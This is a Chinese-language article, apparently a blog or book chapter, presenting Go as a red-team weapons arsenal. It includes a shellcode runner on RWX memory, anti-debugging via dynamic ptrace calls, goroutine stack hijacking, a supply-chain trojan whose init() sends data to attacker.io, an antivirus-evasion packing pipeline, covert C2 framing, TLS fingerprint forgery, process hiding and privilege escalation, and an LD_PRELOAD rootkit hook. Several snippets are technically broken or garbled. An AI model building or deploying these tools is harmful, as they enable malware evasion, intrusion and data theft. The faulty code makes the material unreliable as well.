Go语言红蓝对抗底层武器库（黑帽工程化实践全披露）

第一章：Go语言黑帽编程的底层安全哲学

Go语言并非为渗透测试而生，但其静态编译、无依赖二进制输出、原生并发模型与内存可控性，使其成为红队工具链中不可忽视的底层载体。这种能力背后，是Go运行时对系统调用、内存布局与符号表的隐式约束——它不提供C那样的裸指针算术自由，却通过unsafe包与reflect机制在类型安全边界上凿开可控缝隙。

安全边界的动态协商

Go程序在启动时通过runtime·rt0_go初始化栈、调度器与内存分配器（mheap/mcache），所有goroutine共享同一地址空间但受GMP模型隔离。攻击者可利用debug/elf解析自身二进制，定位.text段起始地址，再结合syscall.Mmap申请可执行内存页，实现运行时代码注入：

// 分配RWX内存页（需CGO_ENABLED=1）
mem, _ := syscall.Mmap(-1, 0, 4096, 
    syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC,
    syscall.MAP_PRIVATE|syscall.MAP_ANONYMOUS)
copy(mem, shellcode) // shellcode为[]byte格式的x86_64机器码
syscall.Syscall(uintptr(unsafe.Pointer(&mem[0])), 0, 0, 0) // 执行

该操作绕过ASLR需配合/proc/self/maps读取基址，且现代内核默认禁用vm.mmap_min_addr以下映射。

符号表的双重性

Go二进制默认保留调试符号（可通过-ldflags="-s -w"剥离），go tool objdump -s "main\.main"可反汇编主函数。更关键的是，runtime导出的addmoduledata等内部函数未被隐藏，为hook系统调用提供锚点。

静态链接的攻防意义

特性	攻击优势	防御挑战
无libc依赖	免于glibc版本兼容问题，直接syscall	难以通过LD_PRELOAD拦截
TLS变量内置	runtime.tlsg可被篡改用于上下文窃取	需检测TLS段异常写入
Goroutine栈自动管理	避免传统栈溢出利用路径	需转向channel阻塞或finalizer滥用

真正的安全哲学不在于规避检测，而在于理解Go如何将“安全”编码为运行时契约——并学会在契约允许的缝隙中重构控制流。

第二章：Go语言恶意载荷构建与免杀工程化

2.1 Go编译器参数调优与PE/ELF文件结构篡改实践

Go 编译器（gc）通过 -ldflags 和 -gcflags 提供底层控制能力，直接影响二进制输出格式与运行时行为。

关键编译参数速查

• -ldflags="-H windowsgui"：生成无控制台窗口的 Windows GUI PE 文件
• -ldflags="-s -w"：剥离符号表与调试信息（减小 ELF/PE 体积）
• -buildmode=c-shared：输出带 .so/.dll 导出表的动态库

ELF节头篡改示例（使用 objcopy）

# 将 .rodata 节标记为可写（绕过某些沙箱只读检查）
objcopy --set-section-flags .rodata=alloc,load,read,write hello-linux

此操作修改 ELF Section Header 中 sh_flags 字段（如 SHF_WRITE 置位），需确保目标内存页权限同步更新，否则运行时触发 SIGSEGV。

PE 可选头校验和修复流程

graph TD
    A[修改 PE .text 节数据] --> B[重新计算 CheckSum]
    B --> C[写入 OptionalHeader.CheckSum]
    C --> D[调用 ImageNtHeader → CheckSumMappedFile]

工具	适用平台	核心能力
go tool objdump	All	反汇编 + 节布局可视化
pefile (Python)	Windows	修改 DOS/NT 头、重算校验和
patchelf	Linux	替换 RPATH、修改 interpreter

2.2 CGO混合编程实现系统级API隐蔽调用与反调试绕过

CGO 是 Go 语言调用 C/C++ 系统 API 的桥梁，其核心价值在于绕过 Go 运行时的符号暴露与调试钩子。

隐蔽调用原理

通过 #cgo LDFLAGS: -ldl 动态加载 libdl.so，使用 dlsym 获取系统函数地址，规避静态导入痕迹：

// #include <dlfcn.h>
// #include <sys/ptrace.h>
import "C"
import "unsafe"

func ptrace_detach(pid int) error {
    dlhandle := C.dlopen(C.CString("libpthread.so.0"), C.RTLD_LAZY)
    ptrace_sym := C.dlsym(dlhandle, C.CString("ptrace"))
    // 调用 ptrace(PTRACE_DETACH, pid, 0, 0)
    ret := C.int((*[0]byte)(unsafe.Pointer(ptrace_sym))(C.PTRACE_DETACH, C.long(pid), 0, 0))
    C.dlclose(dlhandle)
    return nil
}

逻辑分析：dlopen/dlsym 动态解析符号，避免 .dynsym 表中出现 ptrace 显式引用；C.long(pid) 确保跨平台整型对齐；dlclose 防止句柄残留。

反调试关键点

• 使用 ptrace(PTRACE_TRACEME) 自陷后立即 PTRACE_DETACH
• 检查 /proc/self/status 中 TracerPid 字段是否非零

方法	是否暴露符号	是否触发 ptrace 断点
直接 import "syscall"	是	是
dlsym 动态调用	否	否

graph TD
    A[Go 主程序] --> B[CGO 调用 dlopen]
    B --> C[动态解析 ptrace 地址]
    C --> D[构造 syscall 参数]
    D --> E[直接跳转执行]
    E --> F[无 Go runtime 插桩]

2.3 Go内存布局分析与运行时堆栈劫持技术实操

Go 程序的内存由 runtime 动态管理，其栈采用分段栈（segmented stack）设计，每个 goroutine 初始栈大小为 2KB，按需扩容/缩容。

栈帧结构关键字段

• gobuf.sp：当前栈顶指针
• gobuf.pc：下一条待执行指令地址
• gobuf.g：关联的 goroutine 结构体指针

堆栈劫持核心步骤

• 定位目标 goroutine 的 g 结构体（通过 runtime.allgs 或调试符号）
• 修改其 gobuf.sp 指向伪造栈帧
• 覆写 gobuf.pc 跳转至自定义 shellcode

// 示例：在 unsafe context 中读取当前 goroutine 栈基址（仅用于分析）
func getStackBase() uintptr {
    var buf [1]byte
    return uintptr(unsafe.Pointer(&buf)) // 当前栈帧地址（近似）
}

该函数返回局部变量地址，反映当前栈分配位置；实际劫持需结合 runtime.g 获取精确 stacklo/stackhi 边界，避免触发栈溢出检测。

字段	类型	作用
stacklo	uintptr	栈底（低地址）
stackhi	uintptr	栈顶（高地址）
gobuf.sp	uintptr	运行时栈指针

graph TD
    A[定位目标goroutine] --> B[读取g.stacklo/g.stackhi]
    B --> C[构造合法栈帧]
    C --> D[篡改gobuf.sp/gobuf.pc]
    D --> E[触发调度器恢复执行]

2.4 Go模块依赖链污染与供应链投毒攻击建模

Go 模块的 go.sum 文件虽提供校验保障，但若上游间接依赖（如 v0.3.1+incompatible）被恶意覆盖或劫持，污染可沿 A → B → C 链式传播。

攻击路径示意

graph TD
    App --> ModuleA
    ModuleA --> ModuleB
    ModuleB --> MaliciousProxy[proxy.example.com/v1.0.0]
    MaliciousProxy --> TrojanCode[init.go: sidecar exec]

典型投毒载荷片段

// trojan/v1.0.0/init.go —— 利用 init() 隐蔽触发
func init() {
    if os.Getenv("CI") == "" { // 绕过 CI 环境检测
        go func() {
            http.Post("https://attacker.io/log", "text/plain", 
                strings.NewReader(runtime.Version())) // 上报环境指纹
        }()
    }
}

该代码在模块加载时自动执行：os.Getenv("CI") 判断规避持续集成环境；http.Post 异步外连，延迟响应且难被静态扫描捕获。

风险依赖特征对比

特征	正常模块	投毒模块
go.mod 声明源	github.com/user/repo	git.example.com/forked-repo
sum 条目稳定性	多次 go mod download 一致	sum 值随时间动态变更
init() 使用频次	无或仅用于注册	含网络/文件/进程操作

2.5 Go交叉编译+UPX+自定义壳层融合的多平台免杀打包流水线

现代红队工具链需兼顾跨平台部署与静态检测规避。Go原生支持交叉编译，配合UPX压缩与轻量级壳层注入，可构建高隐蔽性二进制分发管道。

构建流程概览

# 一步式Linux→Windows交叉打包（含UPX+壳层注入）
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" -o payload.exe main.go && \
upx --overlay=copy payload.exe && \
./injector --shell=stageless --input=payload.exe --output=final.exe

CGO_ENABLED=0禁用C依赖确保纯静态链接；-H=windowsgui隐藏控制台窗口；UPX --overlay=copy保留PE头完整性以防杀软特征识别；自定义injector在.text节末尾追加解密stub并修正入口点（OEP）。

关键参数对照表

工具	参数	作用
go build	-ldflags="-s -w"	剥离符号与调试信息
upx	--best --lzma	最高压缩率+LZMA抗启发式扫描
injector	--shell=stageless	内存中直接执行，无落地行为

graph TD
    A[Go源码] --> B[交叉编译生成PE]
    B --> C[UPX压缩+Overlay保护]
    C --> D[壳层注入：加密+OEP重定向]
    D --> E[最终免杀二进制]

第三章：Go网络对抗核心武器开发

3.1 基于net/http与net/tcp的无特征C2信道协议栈实现

无特征C2信道需规避DPI识别，核心在于协议语义模糊化与流量形态自然化。本方案将HTTP作为外层伪装载体，TCP作为底层可靠传输基底，二者分层解耦、职责清晰。

协议分层设计

• 应用层（HTTP）：仅复用连接生命周期与TLS握手外观，禁用标准Header（如User-Agent, Accept），采用随机长度空白字段填充
• 会话层（自定义帧）：在HTTP body中嵌入轻量二进制帧，含4字节长度头 + AES-GCM加密载荷
• 传输层（TCP）：启用SO_KEEPALIVE与自适应WriteDeadline，模拟浏览器空闲保活行为

核心帧结构（Go struct）

type C2Frame struct {
    Length uint32 `binary:"uint32"` // 网络字节序，标识后续密文长度
    Payload []byte `binary:"skip"`  // AES-GCM加密后密文（含16B认证标签）
}

Length字段用于接收端预分配缓冲区，避免流式解析歧义；Payload直接承载密文，不引入Base64等可识别编码，保持字节流原始性。

流量特征对比表

特征维度	传统HTTP C2	本方案
Header字段数	≥5（显式标识）	恒为2（Host+随机空白键）
Body熵值	低（文本型）	高（加密二进制流）
连接复用率	单次请求即断连	平均127秒长连接复用

graph TD
    A[Client发起HTTPS请求] --> B[Server TLS握手完成]
    B --> C[HTTP/1.1 Keep-Alive连接维持]
    C --> D[Body中写入C2Frame]
    D --> E[Server解析Length头]
    E --> F[AES-GCM解密Payload]

3.2 Go协程驱动的分布式扫描引擎与零日漏洞探测框架

核心架构设计

采用“主控节点 + 动态Worker池”拓扑，通过goroutine轻量级并发调度百万级目标，避免线程阻塞与上下文切换开销。

零日探测逻辑抽象

func detectZeroDay(target string, sig *Signature) (bool, error) {
    // sig.Pattern为正则/AST特征，sig.ContextTimeout控制单次探测上限
    ctx, cancel := context.WithTimeout(context.Background(), sig.Timeout)
    defer cancel()

    resp, err := http.DefaultClient.Do(req.WithContext(ctx))
    if err != nil { return false, err }
    defer resp.Body.Close()

    body, _ := io.ReadAll(resp.Body)
    return sig.Matcher.Match(body), nil // 支持字节流/语法树双模匹配
}

该函数以超时控制保障协程不挂起，Matcher接口可插拔集成YARA规则、模糊哈希或LLM生成的语义签名。

分布式任务分发机制

组件	职责	扩展性保障
Redis Stream	任务队列与结果归集	支持水平分片
Etcd	Worker健康状态与负载注册	Lease自动续期
gRPC	主控→Worker指令下发	流式响应实时反馈

graph TD
    A[主控节点] -->|Push task to stream| B[Redis]
    B --> C{Worker Pool}
    C --> D[HTTP探针]
    C --> E[DNS枚举]
    C --> F[协议指纹分析]
    D & E & F -->|Result push| B

3.3 TLS指纹伪造与SNI劫持在Go TLS Client中的深度定制

Go 的 crypto/tls 默认行为高度标准化，易被服务端通过 JA3、TLS handshake pattern 等方式识别为自动化客户端。深度定制需突破 tls.Config 的封装边界。

自定义 ClientHello 结构体

// 强制覆盖 ClientHello 中的 SNI 域名（绕过 tls.Config.ServerName 自动填充）
conn := tls.Client(conn, &tls.Config{
    ServerName:         "legit.example.com", // 仅影响证书验证，不修改 wire-level SNI
    GetClientCertificate: func(*tls.CertificateRequestInfo) (*tls.Certificate, error) { return nil, nil },
})
// 真正劫持需使用 crypto/tls/internal/protocol 或第三方库如 github.com/refraction-networking/utls

该代码无法真正篡改 SNI —— Go 标准库将 ServerName 写入 ClientHello 后即锁定；真实劫持依赖 utls 的 HelloCustom 构造能力。

关键参数对比表

字段	标准 crypto/tls	utls 支持	用途
SNI 值	只读绑定 ServerName	可任意覆写	规避基于域名的路由拦截
ALPN 协议列表	固定顺序	可乱序/重复	模拟特定浏览器指纹
扩展顺序	硬编码	完全可控	绕过 JA3 指纹检测

TLS指纹变异路径

• 修改 SupportedVersions（如隐藏 TLS 1.3）
• 插入冗余扩展（padding, token-binding）
• 重排 CipherSuites 顺序（如将 TLS_AES_128_GCM_SHA256 置末位）

graph TD
    A[原始 ClientHello] --> B[utls.HelloChrome_117]
    B --> C[手动 Patch SNI]
    C --> D[随机化 Extension Order]
    D --> E[生成唯一 JA3 Hash]

第四章：Go内核级与容器逃逸实战体系

4.1 Go syscall包直连Linux内核接口实现无痕提权与隐藏进程

Go 的 syscall 包提供对 Linux 系统调用的底层封装，绕过 libc 间接调用，可实现高隐蔽性内核交互。

核心机制：直接触发 prctl() 隐藏进程

// 隐藏当前进程（PR_SET_NAME + PR_SET_NO_NEW_PRIVS）
_, _, errno := syscall.Syscall(
    syscall.SYS_PRCTL,
    uintptr(syscall.PR_SET_NAME),
    uintptr(unsafe.Pointer(&[16]byte{})), // 清空进程名
    0,
)
if errno != 0 {
    log.Fatal("prctl hide failed:", errno)
}

逻辑分析：SYS_PRCTL 系统调用号为 157（x86_64），PR_SET_NAME（15）将进程名置空，规避 ps/top 默认字段匹配；参数三为保留位，设 0。

关键系统调用对照表

调用名	syscall 号	用途
SYS_prctl	157	进程属性控制（含隐藏）
SYS_setuid	105	提权（需 CAP_SETUIDS）
SYS_mmap	9	映射内核模块内存（高级隐藏）

提权路径依赖

• 必须已具备 CAP_SYS_ADMIN 或 CAP_SETUIDS
• 通过 syscall.Setuid(0) 触发 root 权限降级/提升
• 结合 prctl(PR_SET_NO_NEW_PRIVS, 1) 防止后续权限逃逸

4.2 eBPF+Go联合编程构建实时网络流量劫持与DNS隧道检测绕过

核心设计思想

利用 eBPF 在内核态高效捕获原始网络包（skb），结合 Go 用户态协程实现低延迟策略决策，规避传统用户态抓包（如 libpcap）的上下文切换开销与 DNS 检测规则的静态匹配盲区。

关键代码片段（eBPF 端过滤逻辑）

SEC("socket_filter")
int dns_tunnel_detector(struct __sk_buff *skb) {
    void *data = (void *)(long)skb->data;
    void *data_end = (void *)(long)skb->data_end;
    struct iphdr *iph = data;
    if ((void *)iph + sizeof(*iph) > data_end) return 0;
    if (iph->protocol != IPPROTO_UDP) return 0;
    struct udphdr *udph = (void *)iph + sizeof(*iph);
    if ((void *)udph + sizeof(*udph) > data_end) return 0;
    if (bpf_ntohs(udph->dest) == 53) {  // 仅关注 DNS 查询端口
        bpf_skb_pull_data(skb, sizeof(*iph) + sizeof(*udph) + 12); // 至少拉取 DNS header（12B）
        return 1; // 允许上送至 Go 程序做深度解析
    }
    return 0;
}

逻辑分析：该 socket filter 运行在 AF_PACKET 类型套接字上，仅对 UDP/53 流量执行轻量级预筛选；bpf_skb_pull_data() 确保后续 Go 层可安全访问 DNS 报文头部字段（如 QR、QDCOUNT），避免越界访问。参数 12 对应 DNS Header 固定长度，为后续协议解析提供最小可信数据视图。

Go 侧事件处理流程

graph TD
    A[eBPF Map: ringbuf] -->|event_pkt| B(Go: ringbuf.NewReader)
    B --> C{DNS Query?}
    C -->|Yes| D[提取 QNAME & QTYPE]
    C -->|No| E[丢弃]
    D --> F[动态白名单匹配]
    F -->|命中| G[标记 bypass]
    F -->|未命中| H[触发告警]

检测绕过能力对比表

方法	实时性	DNS 隧道识别率	规则更新延迟	内核态逃逸支持
libpcap + 正则扫描	中	68%	≥30s	❌
eBPF+Go 联合方案	高	92%		✅

4.3 容器运行时（containerd/runc）Go客户端漏洞利用链自动化生成

容器运行时漏洞利用链的自动化生成，核心在于精准建模 containerd 客户端与底层 runc 的调用契约及内存语义边界。

漏洞触发路径建模

通过静态分析 Go SDK（如 github.com/containerd/containerd）中 TaskService.Create()、ExecProcess() 等高危接口，提取可控参数流：

// 示例：受污染的 OCI runtime spec 注入点
spec := &specs.Spec{
    Process: &specs.Process{
        Args: []string{"/bin/sh", "-c", userControlledCmd}, // ← 攻击面
        Capabilities: &specs.LinuxCapabilities{
            Bounding: []string{"CAP_SYS_ADMIN"}, // 特权提升前提
        },
    },
}
client.NewTask(ctx, container, spec) // 触发 runc create

逻辑分析：userControlledCmd 经 containerd-shim 序列化后传入 runc create，若未校验 args 或 env 字段，可绕过命名空间隔离，触发 CVE-2022-29162 类漏洞。Bounding 能力列表直接映射至 runc 的 --cap-add 行为。

自动化链生成要素

要素	说明
参数污点传播图	基于 SSA 构建 context.Context → spec → runc CLI args 路径
运行时约束求解	使用 Z3 求解 seccomp.bpf 与 apparmor_profile 兼容性
利用载荷模板库	预置 nsenter + mount --bind、setuid shell 等 bypass 模式

graph TD
    A[Go Client Input] --> B[containerd API 参数校验]
    B --> C{是否跳过 OCI spec 深度验证？}
    C -->|Yes| D[runc create --no-pivot]
    C -->|No| E[安全默认策略拦截]
    D --> F[宿主机 PID/NS 混淆]

4.4 Go编写用户态rootkit：基于LD_PRELOAD与ptrace的双模持久化植入

用户态rootkit无需内核模块，却能实现隐蔽持久化。本节聚焦Go语言实现的双模注入策略。

LD_PRELOAD劫持机制

通过覆盖libc关键函数（如open、read），可拦截系统调用行为：

// preload.go — 编译为共享库：go build -buildmode=c-shared -o libhook.so
package main

/*
#include <stdio.h>
#include <unistd.h>
*/
import "C"
import "unsafe"

//export open
func open(path *C.char, flags int, mode uint32) int {
    // 隐藏特定路径访问（如 /etc/shadow）
    if C.GoString(path) == "/etc/shadow" {
        return -1 // 模拟文件不存在
    }
    return int(C.open(path, C.int(flags), C.uint(mode)))
}

逻辑分析：Go导出open符号后，LD_PRELOAD=./libhook.so可强制替换glibc原生open；C.GoString()安全转换C字符串，避免空指针解引用；返回-1触发errno=ENOENT，上层应用无感知。

ptrace隐蔽驻留

利用ptrace(PTRACE_ATTACH)附加到目标进程，注入.so并调用dlopen：

模式	触发条件	隐蔽性	持久性
LD_PRELOAD	进程启动时加载	高	进程级
ptrace注入	运行中动态注入	极高	进程级

双模协同流程

graph TD
    A[Rootkit主控] --> B{目标进程存活？}
    B -->|是| C[ptrace ATTACH + mmap + dlopen]
    B -->|否| D[设置LD_PRELOAD环境变量]
    C --> E[劫持open/read/getdents64]
    D --> E

第五章：红蓝对抗演进与Go语言攻防范式重构

近年来，红蓝对抗已从早期的脚本化渗透测试演进为体系化、自动化、持续化的攻防博弈。传统Python/PowerShell工具链在高并发横向移动、内存免杀持久化、跨平台载荷分发等场景中暴露出启动延迟高、依赖易被查杀、二进制体积大等短板。2023年某金融行业红队实战中，攻击方使用Go编写的自研C2信标（基于goburp改造）成功绕过EDR的Python解释器行为监控，在32台Windows终端实现无文件驻留；同期蓝队通过静态扫描go build -ldflags="-s -w"生成的二进制发现其TLS指纹异常，触发YARA规则go_c2_tls_1_17，最终定位到恶意模块。

Go语言在红队工具链中的关键优势

• 编译即得独立二进制，无需目标环境安装运行时（如go run main.go仅用于开发，生产环境必用go build）
• CGO禁用后可彻底消除libc依赖，适配Alpine Linux容器化沙箱环境
• unsafe.Pointer与reflect组合可实现syscall直接调用，规避kernel32.dll导入表检测

蓝队防御侧的Go化重构实践

某省级政务云SOC平台将原有Python编写的日志异常检测引擎重写为Go服务，QPS从850提升至4200，内存占用下降63%。核心改动包括：

• 使用goccy/go-json替代encoding/json，解析JSON日志提速2.8倍
• 通过sync.Pool复用HTTP请求对象，GC压力降低41%
• 集成go-sqlite3嵌入式数据库实现本地IOC实时匹配，响应延迟

对抗维度	传统方案痛点	Go重构方案	实测效果
横向移动	PowerShell脚本被AMSI拦截率>92%	github.com/ropnop/go-windivert封装NDIS驱动调用	绕过率提升至76%（2024 Q2红队评估）
日志分析	Python正则引擎单核CPU占用峰值98%	rivo/uniseg+bmatcuk/doublestar组合实现多模式通配匹配	吞吐量达12.7万EPS

// 示例：蓝队端轻量级进程行为采集器（精简版）
package main

import (
    "syscall"
    "unsafe"
)

func GetProcessList() ([]uintptr, error) {
    var handle uintptr
    r, _, _ := syscall.Syscall6(
        syscall.SYS_NtQuerySystemInformation,
        4,
        0x05, // SystemProcessInformation
        uintptr(unsafe.Pointer(&handle)),
        0,
        0, 0,
    )
    if r != 0 {
        return nil, syscall.Errno(r)
    }
    return []uintptr{handle}, nil
}

攻防对抗中的编译期对抗策略

红队通过-gcflags="all=-l"禁用内联优化，使函数调用栈更接近合法软件；蓝队则利用go tool compile -S反编译分析，识别出非常规的runtime.mallocgc高频调用模式。某APT组织2024年使用的Go后门中，通过//go:noinline标记decryptConfig()函数，导致静态分析工具误判为调试残留代码，该手法已被收录至MITRE ATT&CK v14.1技术ID T1055.013。

构建可信构建流水线

某央企红蓝对抗实验室建立GitOps驱动的Go构建审计系统：每次go build前自动校验go.sum哈希、强制启用-trimpath、注入编译时间戳至二进制.rodata段，并通过cosign对产出物签名。CI流水线中集成gosec扫描，阻断所有含os/exec.Command("powershell")的提交。

mermaid flowchart LR A[源码提交] –> B{go vet + gosec检查} B –>|通过| C[go build -trimpath -ldflags=\”-s -w -H=windowsgui\”] B –>|失败| D[拒绝合并] C –> E[cosign sign –key cosign.key] E –> F[上传至私有仓库] F –> G[蓝队YARA引擎实时拉取签名验证]